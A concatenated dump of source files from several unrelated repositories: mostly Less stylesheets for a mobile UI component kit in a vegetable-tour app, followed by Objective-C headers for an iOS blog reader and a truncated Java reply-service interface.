.aiui-picker__btn {
display: block;
width: 100px;
line-height: 54px;
font-size: 28px;
background-color: transparent;
position: relative;
&:before{
.setFullLine(@aiuiLineColorLight,27px);
}
&:first-child {
color: @aiuiColorDeepGray;
&:before{
border-color: @aiuiColorDeepGray;
}
}
&:last-child {
color: @aiuiColorPrimary;
&:before{
border-color: @aiuiColorPrimary;
}
}
}
.aiui-picker__bd {
display: flex;
position: relative;
background-color: #fff;
height: 480px;
overflow: hidden;
}
.aiui-picker__group {
flex: 1;
position: relative;
height: 100%;
//-webkit-mask-box-image: -webkit-linear-gradient(bottom,transparent,transparent 5%,#fff 50%,#fff 50%,transparent 95%,transparent);
&:first-child {
.aiui-picker__item {
padding-left: constant(safe-area-inset-left);
padding-left: env(safe-area-inset-left);
}
}
&:last-child {
.aiui-picker__item {
padding-right: constant(safe-area-inset-right);
padding-right: env(safe-area-inset-right);
}
}
}
.aiui-picker__mask {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
margin: 0 auto;
z-index: 3;
background: linear-gradient(
180deg,
hsla(0, 0%, 100%, 0.95),
hsla(0, 0%, 100%, 0.6)
),
linear-gradient(0deg, hsla(0, 0%, 100%, 0.95), hsla(0, 0%, 100%, 0.6));
background-position: top, bottom;
background-size: 100% 192px;
background-repeat: no-repeat;
transform: translateZ(0);
}
.aiui-picker__indicator {
width: 100%;
height: @pickerItemHeight;
position: absolute;
left: 0;
top: 192px;
z-index: 3;
&:before {
.setTopLine(@aiuiLineColorLight);
}
&:after {
.setBottomLine(@aiuiLineColorLight);
}
}
.aiui-picker__content {
position: absolute;
top: 0;
left: 0;
width: 100%;
}
.aiui-picker__item {
height: @pickerItemHeight;
line-height: @pickerItemHeight;
text-align: center;
color: @aiuiTextColorTitle;
text-overflow: ellipsis;
white-space: nowrap;
overflow: hidden;
font-size: 30px;
}
.aiui-picker__item_disabled {
color: @aiuiTextColorDesc;
}
<file_sep>@import "../../base/fn";
@import "../aiui-button/aiui-button";
.aiui-msg {
text-align: center;
&__hd {
padding: 64px;
min-height: 324px;
}
&__success {
background-color: @aiuiColorPrimary;
}
&__warn {
background-color: @aiuiColorWarn;
}
&__title {
color: @aiuiColorWhite;
font-size: 34px;
font-weight: normal;
}
&__bd {
padding: 50px 48px 0 48px;
}
&__desc {
font-size: 28px;
}
&__ft {
padding: 40px 100px;
.aiui-btn {
padding: 0 35px;
&:not(:last-child) {
margin-right: 48px;
}
}
}
}
.aiui-icon__msg {
width: 120px;
height: 120px;
background-color: @aiuiColorWhite;
}
<file_sep>
@import "../../base/fn";
.aiui-toast {
position: fixed;
z-index: 5000;
width: 242px;
min-height: 242px;
top: 360px;
left: 50%;
margin-left: -120px;
background: rgba(17,17,17,0.7);
text-align: center;
border-radius: 10px;
color: #FFFFFF;
}
.aiui-icon_toast {
margin: 48px 0 0;
display: block;
&.aiui-icon-success-no-circle{
&:before {
color: #FFFFFF;
font-size: 110px;
}
}
&.aiui-loading{
margin:64px 0 0;
width:76px;
height:76px;
vertical-align: baseline;
}
}
.aiui-toast__content {
margin: 0 0 32px;
font-size:28px;
}
<file_sep>
@import "../../base/fn";
@aiuiActionSheetAndroidBorderRadius: 2px;
.aiui-actionsheet {
position: fixed;
left: 0;
bottom: 0;
transform: translate(0, 100%);
backface-visibility: hidden;
z-index: 5000;
width: 100%;
background-color: @aiuiBgColorDefault;
//slide up animation
transition: transform .3s;
}
.aiui-actionsheet__title {
position: relative;
height: 128px;
padding: 0 48px;
display: flex;
justify-content: center;
flex-direction: column;
text-align: center;
font-size: 28px;
color: @aiuiTextColorDesc;
line-height: 1.4;
background: #FFFFFF;
&:before {
.setBottomLine(@aiuiCellBorderColor);
}
.aiui-actionsheet__title-text {
.ellipsisLn(2);
}
}
.aiui-actionsheet__menu{
background-color: #FFFFFF;
}
.aiui-actionsheet__action {
margin-top: 12px;
background-color: #FFFFFF;
padding-bottom:constant(safe-area-inset-bottom);
padding-bottom:env(safe-area-inset-bottom);
}
.aiui-actionsheet__cell {
position: relative;
padding: @aiuiCellGapV;
text-align: center;
font-size: 34px;
line-height: @aiuiCellLineHeight;
&:before {
.setTopLine(@aiuiCellBorderColor);
}
&:active{
background-color: @aiuiBgColorActive;
}
&:first-child{
&:before{
display: none;
}
}
}
//android actionSheet
.aiui-skin_android{
.aiui-actionsheet {
position: fixed;
left: 50%;
top: 50%;
bottom: auto;
transform: translate(-50%, -50%);
//padding: 0 40px;
width: 548px;
box-sizing: border-box;
backface-visibility: hidden;
background: transparent;
//slide up animation
transition: transform .3s;
}
.aiui-actionsheet__action{
display: none;
}
.aiui-actionsheet__menu {
border-radius: @aiuiActionSheetAndroidBorderRadius;
box-shadow: 0 12px 60px 0 rgba(0,0,0,.1);
}
.aiui-actionsheet__cell {
padding: @aiuiCellGapV;
font-size: 34px;
line-height: @aiuiCellLineHeight;
color:@aiuiTextColorTitle;
text-align: left;
&:first-child {
border-top-left-radius: @aiuiActionSheetAndroidBorderRadius;
border-top-right-radius: @aiuiActionSheetAndroidBorderRadius;
}
&:last-child {
border-bottom-left-radius: @aiuiActionSheetAndroidBorderRadius;
border-bottom-right-radius: @aiuiActionSheetAndroidBorderRadius;
}
}
}
//actionSheet aniamtion
.aiui-actionsheet_toggle{
transform: translate(0, 0);
}
<file_sep>@import "../../base/fn";
.aiui-navbar {
display: flex;
height: 80px;
align-items: center;
background-color: transparent;
border-radius: 50px;
position: relative;
z-index: 1;
&:before {
.setFullLine(@aiuiColorPrimary, 50px);
}
&__item {
flex: 1;
padding: 0;
height: 80px;
line-height: 80px;
font-size: 34px;
text-align: center;
color: @aiuiColorPrimary;
&:first-child {
border-top-left-radius: 50px;
border-bottom-left-radius: 50px;
}
&:last-child {
border-top-right-radius: 50px;
border-bottom-right-radius: 50px;
}
&.aiui-bar__item_on {
background-color: @aiuiColorPrimary;
color: @aiuiColorWhite;
}
}
&:after {
display: none;
}
}
<file_sep>@import "../../base/fn";
.step-bar {
background-image: linear-gradient(90deg, #2DE080 3%, rgba(25,207,119,0.99) 100%);
height: 150px;
display: flex;
align-items: center;
padding: 0 24px;
&__item {
color: @aiuiColorWhite;
flex-flow: column;
flex: 1;
display: flex;
align-items: center;
position: relative;
&:not(:last-child):after {
content: "";
height: 4px;
background-color:@aiuiColorWhite;
display: flex;
width: 114px;
position: absolute;
top: 20px;
left:120px;
}
&.active {
.number {
mask-image: url(../svg/icon-checkbox-on.svg);
}
}
.number {
width: 45px;
height: 45px;
text-align: center;
display: inline-block;
mask-repeat: no-repeat;
mask-position: center center;
mask-size: contain;
background-color:@aiuiColorWhite;
mask-image: url(../svg/icon-radio-normal.svg);
margin-bottom: 8px;
text-indent: -9999em;
}
section {
font-size: 30px;
}
}
}<file_sep>@import "../../../base/fn";
.aiui-cells__checkbox {
.aiui-check__label {
&:before {
left: 110px;
}
}
.aiui-icon-checked {
&:before {
content: "\EA01";
color: @aiuiLineColorDark;
font-size: 46px;
display: block;
margin: 0;
}
}
}
// method2 accessbility
.aiui-check {
// checkbox
.aiui-cells__checkbox & {
&:checked {
& + .aiui-icon-checked {
&:before {
content: "\EA06";
color: @aiuiColorPrimary;
}
}
}
}
}
<file_sep># shuyou
广东蔬游APP<file_sep>@import "../../../base/fn";
.aiui-check__label {
.setTapColor();
&:active {
background-color: @aiuiBgColorActive;
}
}
.aiui-check {
position: absolute;
left: -9999em;
}
<file_sep>
@import "../../base/fn";
.aiui-cell_swiped {
display: block;
padding: 0;
> .aiui-cell__bd {
position: relative;
z-index: 1;
background-color: #FFFFFF;
}
> .aiui-cell__ft {
position: absolute;
right: 0;
top: 0;
bottom: 0;
display: flex;
color: #FFFFFF;
}
}
.aiui-swiped-btn {
display: block;
padding: @aiuiCellGapV 32px;
line-height: @aiuiCellLineHeight;
color: inherit;
}
.aiui-swiped-btn_default {
background-color: @aiuiBgColorDefault;
}
.aiui-swiped-btn_warn {
background-color: @aiuiColorWarn;
}
<file_sep>
@import "../../base/fn";
.aiui-panel {
background-color: #FFFFFF;
margin-top: 20px;
&:first-child {
margin-top: 0;
}
position: relative;
overflow: hidden;
&:before {
.setTopLine(@aiuiLineColorLight);
}
&:after {
.setBottomLine(@aiuiLineColorLight);
}
}
.aiui-panel__hd {
padding: 32px 32px 26px;
color: @aiuiTextColorTitle;
font-size: 30px;
font-weight:700;
position: relative;
&:after {
.setBottomLine(@aiuiLineColorLight);
left: 30px;
}
}
<file_sep>
@import '../../base/fn';
.aiui-cell_switch {
padding-top: (@aiuiCellHeight - @aiuiSwitchHeight) / 2;
padding-bottom: (@aiuiCellHeight - @aiuiSwitchHeight) / 2;
}
.aiui-switch {
appearance: none;
transform: scale(0.8)
}
.aiui-switch,
.aiui-switch-cp__box {
position: relative;
width: 104px;
height: @aiuiSwitchHeight;
border: 1PX solid @aiuiLineColorLight;
outline: 0;
border-radius: 32px;
box-sizing: border-box;
background-color: @aiuiLineColorLight;
transition: background-color 0.1s, border 0.1s;
&:before {
content: ' ';
position: absolute;
top: 1PX;
right: 1PX;
bottom: 1PX;
left: 0;
border-radius: 30px;
background-color: #fdfdfd;
transition: transform 0.35s cubic-bezier(0.45, 1, 0.4, 1);
}
&:after {
content: ' ';
position: absolute;
top: 0;
left: 0;
width: @aiuiSwitchHeight - 2;
height: @aiuiSwitchHeight - 2;
border-radius: 30px;
background-color: #ffffff;
box-shadow: 0 2px 6px rgba(0, 0, 0, 0.4);
transition: transform 0.35s cubic-bezier(0.4, 0.4, 0.25, 1.35);
}
}
.aiui-switch:checked,
.aiui-switch-cp__input:checked ~ .aiui-switch-cp__box {
border-color: @aiuiColorPrimary;
background-color: @aiuiColorPrimary;
&:before {
transform: scale(0);
}
&:after {
transform: translateX(40px);
}
}
// 兼容IE Edge的版本
.aiui-switch-cp__input {
position: absolute;
left: -9999px;
}
.aiui-switch-cp__box {
display: block;
}
<file_sep>@import "../../../base/fn";
// method2 accessbility
.aiui-cells__radio {
.aiui-icon-checked {
&:before {
content: "\EA01";
color: @aiuiLineColorDark;
font-size: 46px;
display: block;
margin: 0;
}
}
}
.aiui-check {
// radio
.aiui-cells__radio & {
& + .aiui-icon-checked {
min-width: 32px;
&:before {
margin: 0;
}
}
&:checked {
& + .aiui-icon-checked {
&:before {
display: block;
content: "\EA06";
color: @aiuiColorPrimary;
}
}
}
}
}
<file_sep>@import "../../base/fn";
.aiui-cell_access {
.setTapColor();
&:active {
background-color: @aiuiBgColorActive;
}
}
.aiui-cell_link {
color: @aiuiLinkColorDefault;
font-size: 34px;
&:first-child {
&:before {
display: block;
}
}
}
<file_sep>//我的地块
.button-thumb {
margin-left: 24px;
}
.shop-list {
background-color: @aiuiColorWhite;
border-radius: 28px;
display: flex;
flex-direction: column;
padding: 30px 24px;
margin: 24px;
.ft {
display: flex;
justify-content: flex-end;
padding-top: @aiuiCellInnerGapH;
button {
margin-left: @aiuiCellInnerGapH;
}
}
}
.shop-list_item {
display: flex;
.thumb {
width: 180px;
height: 180px;
margin-right: 24px;
img {
width: 100%;
height: 100%;
object-fit: cover;
}
}
.thumb-big {
width: 200px;
height: 200px;
}
.bd {
.Cell.\-fill;
h3 {
font-size: 36px;
margin-bottom: 20px;
.ellipsisLn(2);
}
}
}
.paintgrow-form {
.aiui-cell__bd {
font-size: @aiuiCellTipsFontSize;
color: @aiuiColorMedGray;
}
.aiui-cells__title {
padding-bottom: @aiuiCellInnerGapH;
color: @aiuiColorMedGray;
}
}
.shop-list-status {
display: flex;
justify-content: space-between;
padding-bottom: 30px;
}
// 雇农首页
.farmhand-bg {
min-height: 100vh;
background: @aiuiColorWhite;
}
.farmhand-index {
position: relative;
width: 750px;
background: url("../images/farm_header_bg01.png") no-repeat;
background-size: 750px;
overflow: hidden;
.user-name{
font-size: 40px;
position: absolute;
top: 180px;
left: 0;
width: 100%;
text-align: center;
color: #fff;
}
.user-bg {
margin: 290px auto 0;
width: 180px;
height: 180px;
overflow: hidden;
img {
width: 100%;
height: 100%;
object-fit: cover;
}
}
}
.farmhand-balance {
display: flex;
justify-content: space-between;
align-items: center;
margin-top: 40px;
padding: 0 72px;
.md {
.title {
font-size: @aiuiCellTipsFontSize;
color: @aiuiColorMedGray;
}
.price {
font-size: 60px;
color: @aiuiColorGray;
small {
display: inline-block;
margin-left: 10px;
font-size: 30px;
color: @aiuiColorMedGray;
}
}
}
}
.farmhand-list {
display: flex;
flex-wrap: wrap;
padding: 50px 24px 0;
text-align: center;
.title {
font-size: 30px;
padding-bottom: @aiuiCellInnerGapH;
text-align: center;
}
.aiui-btn {
min-width: 170px;
margin: 0 auto;
}
a {
width: 340px;
height: 300px;
border-radius: 28px;
&:first-child {
background: #fcf1f5;
margin-right: @aiuiCellInnerGapH;
margin-bottom: @aiuiCellInnerGapH;
.aiui-btn {
color: @aiuiColorRed;
&:before {
border-color: @aiuiColorRed;
}
}
}
&:nth-child(2) {
background: #fbf5ea;
margin-bottom: @aiuiCellInnerGapH;
.aiui-btn {
color: @aiuiColorWarn;
&:before {
border-color: @aiuiColorWarn;
}
}
}
&:nth-child(3) {
background: #eef4fc;
margin-right: @aiuiCellInnerGapH;
.aiui-btn {
color: @aiuiColorBlue;
&:before {
border-color: @aiuiColorBlue;
}
}
}
&:last-child {
background: #e4f5f1;
}
}
.icon-img {
display: flex;
justify-content: center;
align-items: center;
height: 148px;
img {
width: 64px;
}
}
}
// 提现
.cash-out__item {
background: #fbf5ea;
border-radius: 28px;
margin: @aiuiCellInnerGapH 24px;
padding: 48px;
.price {
font-size: 60px;
small {
display: inline-block;
margin-left: 10px;
font-size: 30px;
}
}
}
.aiui-input__big {
font-size: 48px;
&::placeholder {
font-size: 48px;
}
}
.bank-img {
width: 36px;
}
.gap-left {
padding-left: 20px;
}
.arrow-select-w {
width: 120px;
}
.aiui-cell__ft_tag {
margin-left: 20px;
}
.icon-tips-circle {
width: 38px;
height: 38px;
background-color: #999;
margin-left: 10px;
}
.sunshine-value {
.farmhand-balance {
position: absolute;
left: 0;
top: 0;
width: 100%;
height: 100%;
margin-top: 0px;
.title,
.price,
.price small {
color: #fff;
}
.price {
font-size: 68px;
small {
font-size: 30px;
}
}
}
}
.aiui-search-bar_gap {
.arrow-select {
margin-right: 15px;
&__value {
max-width: 130px;
.ellipsis;
}
}
.aiui-btn {
min-width: 104px;
}
}
.order-tabbar {
display: flex;
position: relative;
background-color: @aiuiColorPrimary;
}
.order-tabbar__item {
display: block;
flex: 1;
padding: 0px 0;
height: 120px;
line-height: 120px;
color: @aiuiColorWhite;
text-align: center;
position: relative;
font-size: 30px;
.setTapColor();
&.order-bar__item_on {
font-size: 36px;
&::before {
content: "";
mask-image: url(../svg/icon-triangle-up.svg);
mask-repeat: no-repeat;
mask-position: center center;
mask-size: contain;
width: 38px;
height: 38px;
background-color: #f5f5f5;
position: absolute;
margin-left: -19px;
left: 50%;
top: auto;
bottom: -12px;
}
}
}
.order_tagwrap {
padding: 60px 24px;
h3 {
text-align: center;
font-weight: normal;
font-size: 30px;
b {
font-size: 80px;
color: @aiuiColorRed;
}
}
p {
text-align: center;
color: @aiuiColorDeepGray;
}
}
.ordermore-list {
width: 100%;
li {
display: flex;
justify-content: space-between;
}
span {
color: @aiuiColorDeepGray;
font-size: 28px;
line-height: 2;
&:nth-child(2) {
color: @aiuiColorMedGray;
}
}
}
.add-default-img {
position: relative;
background: url("../images/default_preview.png");
width: 200px;
height: 200px;
background-size: cover;
p {
position: absolute;
width: 100%;
background: rgba(0, 0, 0, 0.4);
line-height: 60px;
font-size: 28px;
color: #fff;
text-align: center;
bottom: 0;
left: 0;
}
}
.required-tips {
display: inline-block;
color: @aiuiColorRed;
margin-left: 10px;
vertical-align: middle;
font-size: 28px;
}
.hide {
display: none;
}
<file_sep>// font
@aiuiFontEN: -apple-system-font, "Helvetica Neue";
@aiuiFontCN: "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei";
@aiuiFontSans: sans-serif;
@aiuiFontDefault: @aiuiFontEN, @aiuiFontSans;
@aiuiFontDefaultSize: 28px;
// button
@aiuiBtnDefaultGap: 24px;
@aiuiBtnDefaultFontColor: #333333;
@aiuiBtnPlainDefaultFontColor: #333333;
@aiuiBtnPlainDefaultBorderColor: #333333;
@aiuiBtnDefaultBg: #ffffff;
@aiuiBtnDefaultActiveBg: #d9d9d9;
@aiuiBtnPlainDefaultFontColor: #333333;
@aiuiBtnPlainDefaultBorderColor: #333333;
@aiuiBtnGrayFontColor:#ffffff;
@aiuiBtnGrayBg:#666666;
@aiuiBtnGrayActiveBg:#555555;
@aiuiBtnPrimaryFontColor:#FFFFFF;
@aiuiBtnPlainPrimaryFontColor: #19CF77;
@aiuiBtnPlainPrimaryBorderColor: #19CF77;
@aiuiBtnPrimaryBg:#19CF77;
@aiuiBtnPrimaryBgi:linear-gradient(90deg, #2DE080 5%, rgba(25,207,119,0.99) 100%);
@aiuiBtnPrimaryActiveBg:#27A964;
@aiuiBtnDisabledFontColor:rgba(255,255,255,.4);
@aiuiBtnDisabledBg: #DDDDDD;
@aiuiBtnPrimaryFontColor: #ffffff;
@aiuiBtnPlainPrimaryFontColor: #19cf77;
@aiuiBtnPlainPrimaryBorderColor: #19cf77;
@aiuiBtnPrimaryBg: #19cf77;
@aiuiBtnPrimaryBgi: linear-gradient(90deg, #2de080 5%, rgba(25, 207, 119, 0.99) 100%);
@aiuiBtnPrimaryActiveBg: #27a964;
@aiuiBtnBrownActiveBg: #683802;
@aiuiBtnDisabledFontColor: rgba(255, 255, 255, 0.4);
@aiuiBtnDisabledBg: #dddddd;
// cell
@aiuiCellBg: #ffffff;
@aiuiCellBorderColor: @aiuiLineColorLight;
@aiuiCellGapV: 30px;
@aiuiCellGapH: 24px;
@aiuiCellInnerGapH: 20px;
@aiuiCellHeight: 112px;
@aiuiCellFontSize: 28px;
@aiuiCellTipsFontSize: 28px;
@aiuiCellLabelWidth: 210px;
@aiuiCellLineHeight: unit((@aiuiCellHeight - 2 * @aiuiCellGapV) / @aiuiCellFontSize); // 高度减去上下padding的行高
@aiuiCellsMarginTop: 16px;
// aiui switch
@aiuiSwitchHeight: 64px;
// aiui uploader
@aiuiUploaderBorderColor: #a3a3a3;
@aiuiUploaderActiveBorderColor: overlay(@aiuiActiveMaskBlack, @aiuiUploaderBorderColor);
@aiuiUploaderFileSpacing: 16px;
@aiuiUploaderSize: 112px;
@aiuiUploaderBorderWidth: 1px;
// dialog
@aiuiDialogBackgroundColor: #ffffff;
@aiuiDialogLineColor: rgba(0, 0, 0, 0.1);
@aiuiDialogLinkColor: @aiuiLinkColorDefault;
@aiuiDialogLinkActiveBc: @aiuiBgColorActive;
@aiuiDialogWidth: 600px;
@aiuiDialogGapXWidth: 60px;
@aiuiDialogGapYWidth: 40px;
@aiuiDialogRadius: 28px;
// gird
@aiuiGridBorderColor: #d9d9d9;
@aiuiGridFontSize: 28px;
@aiuiGridIconSize: 56px;
@aiuiGridColumnCount: 3;
// msg
@aiuiMsgPaddingTop: 96px;
@aiuiMsgTitleGap: 32px;
// progress
@aiuiProgressBg: @aiuiBgColorDefault;
@aiuiProgressColor: @aiuiColorPrimary;
@aiuiProgressHeight: 6px;
@aiuiProgressCloseBg: #ef4f4f;
@aiuiProgressActiveBg: #c13e3e;
// tab
@aiuiNavBarHeight: 112px;
@aiuiTabBarHeight: 120px;
<file_sep>
@import "../../base/fn";
@import "./aiui-check/aiui-check_common";
@import "./aiui-check/aiui-radio";
@import "./aiui-check/aiui-checkbox";
<file_sep>
@import "../../base/fn";
@aiuiGalleryOprHeight: 120px;
.aiui-gallery {
display: none;
position: fixed;
top: 0;
right: 0;
bottom: 0;
left: 0;
background-color: #000000;
z-index: 1000;
}
.aiui-gallery__img {
position: absolute;
top: constant(safe-area-inset-top);
top: env(safe-area-inset-top);
right: constant(safe-area-inset-right);
right: env(safe-area-inset-right);
bottom: calc(@aiuiGalleryOprHeight ~"+ constant(safe-area-inset-bottom)");
bottom: calc(@aiuiGalleryOprHeight ~"+ env(safe-area-inset-bottom)");
left: constant(safe-area-inset-left);
left: env(safe-area-inset-left);
background: center center no-repeat;
background-size: contain;
}
.aiui-gallery__opr {
position: absolute;
right: constant(safe-area-inset-right);
right: env(safe-area-inset-right);
bottom: constant(safe-area-inset-bottom);
bottom: env(safe-area-inset-bottom);
left: constant(safe-area-inset-left);
left: env(safe-area-inset-left);
background-color: #0D0D0D;
color: #FFFFFF;
line-height: @aiuiGalleryOprHeight;
text-align: center;
}
.aiui-gallery__del {
display: block;
}
<file_sep>.setLineCommon {
content: " ";
pointer-events: none;
position: absolute;
}
.setTopLine(@c: #C7C7C7) {
.setLineCommon;
left: 0;
top: 0;
right: 0;
// prettier-ignore
height: 1PX;
// prettier-ignore
border-top: 1PX solid @c;
color: @c;
transform-origin: 0 0;
transform: scaleY(0.5);
}
.setBottomLine(@c: #C7C7C7) {
.setLineCommon;
left: 0;
bottom: 0;
right: 0;
// prettier-ignore
height: 1PX;
// prettier-ignore
border-bottom: 1PX solid @c;
color: @c;
transform-origin: 0 100%;
transform: scaleY(0.5);
}
.setLeftLine(@c: #C7C7C7) {
.setLineCommon;
left: 0;
top: 0;
// prettier-ignore
width: 1PX;
bottom: 0;
// prettier-ignore
border-left: 1PX solid @c;
color: @c;
transform-origin: 0 0;
transform: scaleX(0.5);
}
.setRightLine(@c: #C7C7C7) {
.setLineCommon;
right: 0;
top: 0;
// prettier-ignore
width: 1PX;
bottom: 0;
// prettier-ignore
border-right: 1PX solid @c;
color: @c;
transform-origin: 100% 0;
transform: scaleX(0.5);
}
.setFullLine(@c: #C7C7C7,@r: 0) {
.setLineCommon;
left: 0;
top: 0;
border-radius: @r * 2;
width: 200%;
height: 200%;
transform: scale(0.5);
// prettier-ignore
border: 1PX solid @c;
transform-origin: 0 0;
}
<file_sep>@import "../../base/fn";
@keyframes slideUp {
from {
transform: translate3d(0, 100%, 0);
}
to {
transform: translate3d(0, 0, 0);
}
}
.aiui-animate-slide-up {
animation: slideUp ease 0.3s forwards;
}
@keyframes slideDown {
from {
transform: translate3d(0, 0, 0);
}
to {
transform: translate3d(0, 100%, 0);
}
}
.aiui-animate-slide-down {
animation: slideDown ease 0.3s forwards;
}
@keyframes fadeIn {
from {
opacity: 0;
}
to {
opacity: 1;
}
}
.aiui-animate-fade-in {
animation: fadeIn ease 0.3s forwards;
}
@keyframes fadeOut {
from {
opacity: 1;
}
to {
opacity: 0;
}
}
.aiui-animate-fade-out {
animation: fadeOut ease 0.3s forwards;
}
@keyframes flash {
from,
50%,
to {
opacity: 1;
}
25%,
75% {
opacity: 0;
}
}
|
0341296b724056a9c3b37c04ee43827077824578
|
[
"JavaScript",
"Markdown",
"HTML",
"Less"
] | 58 |
JavaScript
|
makenum/vegetable-tour
|
415e54ea530a7c409750c6285c37c5c88fbd6fab
|
825d49d95ce632802bc5d1952b91ae1721822a1f
|
refs/heads/master
|
<file_sep>---
title: "Project_1"
author: "<NAME>"
date: "June 6, 2017"
output: html_document
---
```{r setup, include=FALSE}
knitr::opts_chunk$set(echo = TRUE)
library(caret)
library(psych)
```
```{r}
oj<-read.csv(url("http://data.mishra.us/files/OJ.csv"))
oj$StoreID <- as.factor(oj$StoreID)
oj$DiscCH <- as.factor(oj$DiscCH)
oj$DiscMM <- as.factor(oj$DiscMM)
oj$SpecialCH <- as.factor(oj$SpecialCH)
oj$SpecialMM <- as.factor(oj$SpecialMM)
oj$STORE <- as.factor(oj$STORE)
oj$DiscCH <- as.numeric(oj$DiscCH)
oj$DiscMM <- as.numeric(oj$DiscMM)
set.seed(12345)
samples <- createDataPartition(oj$Purchase, p = .7, list = F)
train <- oj[samples, ]
test <- oj[-samples,]
```
```{r}
pairs.panels(oj)
tc <- trainControl(summaryFunction = twoClassSummary, classProbs = TRUE)
grid <- expand.grid(Sigma = c(.01, .015, 0.2),
C = c(0.75, 0.9, 1, 1.1, 1.25)
)
full_mod <- train(Purchase ~ ., data = train, family = "binomial", method = "glm")
summary(full_mod)
mod1 <- glm(Purchase ~ StoreID + DiscCH + DiscMM + SpecialCH + SpecialMM, data = train, family = binomial)
summary(mod1)
mod2 <- train(Purchase ~ StoreID + SpecialCH + SpecialMM + PctDiscMM + PctDiscCH + ListPriceDiff ,
method = "glm",
data = train,
family = "binomial",
metric = "ROC",
trControl = tc)
mod2
summary(mod2)
confusionMatrix(mod2)
mod3 <- train(Purchase ~ StoreID + SpecialCH + SpecialMM + PctDiscMM + PctDiscCH + ListPriceDiff ,
method = "glm",
data = train,
family = "binomial",
metric = "ROC",
trControl = tc,
preProcess = c("center", "scale"))
mod3
summary(mod3)
confusionMatrix(mod3)
rf1 <- train(Purchase ~ StoreID + SpecialCH + SpecialMM + PctDiscMM + PctDiscCH + ListPriceDiff ,
method = "rf",
data = train,
family = "binomial",
trControl = tc,
metric = "ROC")
rf1
plot(rf1)
rf1$xlevels
plot(rf1$finalModel)
varImp(rf1)
rf2 <- train(Purchase ~ . ,
method = "rf",
data = train,
family = "binomial",
trControl = tc,
metric = "ROC")
varImp(rf2)
hist(train$WeekofPurchase[train$Purchase == "CH"])
```
```{r}
# svmLinear, svmRadial, svmPoly
grid <- data.frame(C = c(.05,.005))
svm1 <- train(Purchase ~ .,
data= train,
method = "svmLinear",
tuneGrid = grid,
metric = "ROC",
trControl = tc,
preProcess = c("center", "scale")
)
summary(svm1)
svm1
grid <- expand.grid(Sigma = c(.01, .015, 0.2),
C = c(0.75, 0.9, 1, 1.1, 1.25)
)
svm2 <- train(Purchase ~ ., data= train,
method = "svmPoly",
metric = "ROC",
trControl = tc,
preProcess = c("center", "scale"),
tuneGrid = grid)
svm2
svm3 <- train(Purchase ~ ., data= train,
method = "svmRadial",
metric = "ROC",
trControl = tc,
preProcess = c("center", "scale")
)
svm3
grid <- expand.grid(C = c(0.75, 0.9, 1, 1.1, 1.25))
```
|
82dd00e380948bcaba2947a491d0dd4df0bbe233
|
[
"RMarkdown"
] | 1 |
RMarkdown
|
mikefiore/Analytics_Applications_prj1
|
7415633f6bbbd854b37bd0f28b4c29fc7d3d9891
|
cd0c86d61e09260eef9e58824a1c56d103f25923
|
refs/heads/master
|
<repo_name>NathanMartin86/ForumWeb<file_sep>/resources/templates/threads.html
<html>
<body>
{{>header}}
{{^username}}
<form action = "login" method = "post">
<input type = "text" placeholder = username name = "username"/>
<input type = "password" placeholder="<PASSWORD>" name="password"/>
<button type = "submit">Login or Create Account</button>
</form>
{{/username}}
{{#threads}}
<a href = "replies?id={{id}}">{{text}}</a> by {{username}}<br>
{{/threads}}
</body>
</html>
|
e036a85d556b7ba49af1608b78af43fa2c8c0665
|
[
"HTML"
] | 1 |
HTML
|
NathanMartin86/ForumWeb
|
a8740837bc2b32af43c714b8c3b4e371811a7600
|
3eb1981a213b3cb0da1e2742463b8c2a5f2f0dc1
|
refs/heads/master
|
<repo_name>sakurabei/Backgammon-AI<file_sep>/README.md
# Backgammon-AI
## 实现了五子棋的UI,AI;用户可以与计算机进行对战。
|
d0a91ca2ab442e460b4c31a393b4cfde00dd52d3
|
[
"Markdown"
] | 1 |
Markdown
|
sakurabei/Backgammon-AI
|
8a7a2dc2945ada2057a029ffbba2efcf9a9af870
|
f49305b42969d8a0c45a44c35eb107fd6ce4442c
|
refs/heads/master
|
<repo_name>thiagovandieten/blogreader<file_sep>/Blog Reader/TVDTableViewController.h
//
// TVDTableViewController.h
// NewBlogReader
//
// Created by <NAME> on 30/07/14.
// Copyright (c) 2014 <NAME>. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface TVDTableViewController : UITableViewController
@property(strong, nonatomic) NSMutableArray *blogPosts;
@property(weak, nonatomic) NSDictionary *dataDictionary;
-(void) makeRequestToJSONAPIWithURL:(NSURL *)url;
-(void)insertBlogPosts:(NSDictionary *)blogPosts;
@end
<file_sep>/Blog Reader/TVDBlogPost.h
//
// TVDBlogPost.h
// NewBlogReader
//
// Created by <NAME> on 04/08/14.
// Copyright (c) 2014 <NAME>. All rights reserved.
//
#import <Foundation/Foundation.h>
@interface TVDBlogPost : NSObject
@property (strong, nonatomic) NSString *author;
@property (strong, nonatomic) NSString *title;
@property (strong, nonatomic) NSString *thumbnail;
@property (strong, nonatomic) NSString *date;
@property (strong, nonatomic) NSURL *url;
//Designated initalizer
- (id) initWithTitle:(NSString *)title;
//Convience constructor
+(id) blogPostWithTitle:(NSString *)title;
- (NSURL *)thumbnailURL;
- (NSString *)formattedDate;
@end
<file_sep>/Blog Reader/TVDWebViewController.h
//
// TVDWebViewController.h
// NewBlogReader
//
// Created by <NAME> on 11/08/14.
// Copyright (c) 2014 <NAME>. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface TVDWebViewController : UIViewController
@property (strong, nonatomic) NSURL *blogPostURL;
@property (strong, nonatomic) IBOutlet UIWebView *webView;
@end
<file_sep>/Blog Reader/TVDAppDelegate.h
//
// TVDAppDelegate.h
// NewBlogReader
//
// Created by <NAME> on 30/07/14.
// Copyright (c) 2014 <NAME>. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface TVDAppDelegate : UIResponder <UIApplicationDelegate>
@property (strong, nonatomic) UIWindow *window;
@end
|
e4c8dae305df64036328b0159721c03a21210c4c
|
[
"Objective-C"
] | 4 |
Objective-C
|
thiagovandieten/blogreader
|
fc2a7e5e4f482512674f6f600c9ab90ac0fab1c8
|
f07ebc9525fd0792d6bdd561de9c675c9c478351
|
refs/heads/master
|
<repo_name>berganted/workspace<file_sep>/project/src/main/java/reply/ReplyService.java
package reply;
import java.util.List;
public interface ReplyService {
List<ReplyVo>selectAll(ReplyVo vo);
ReplyVo detail(ReplyVo vo);
int insert(ReplyVo vo);
int insertReply(ReplyVo vo);
ReplyVo edit(ReplyVo vo);
int update(ReplyVo vo);
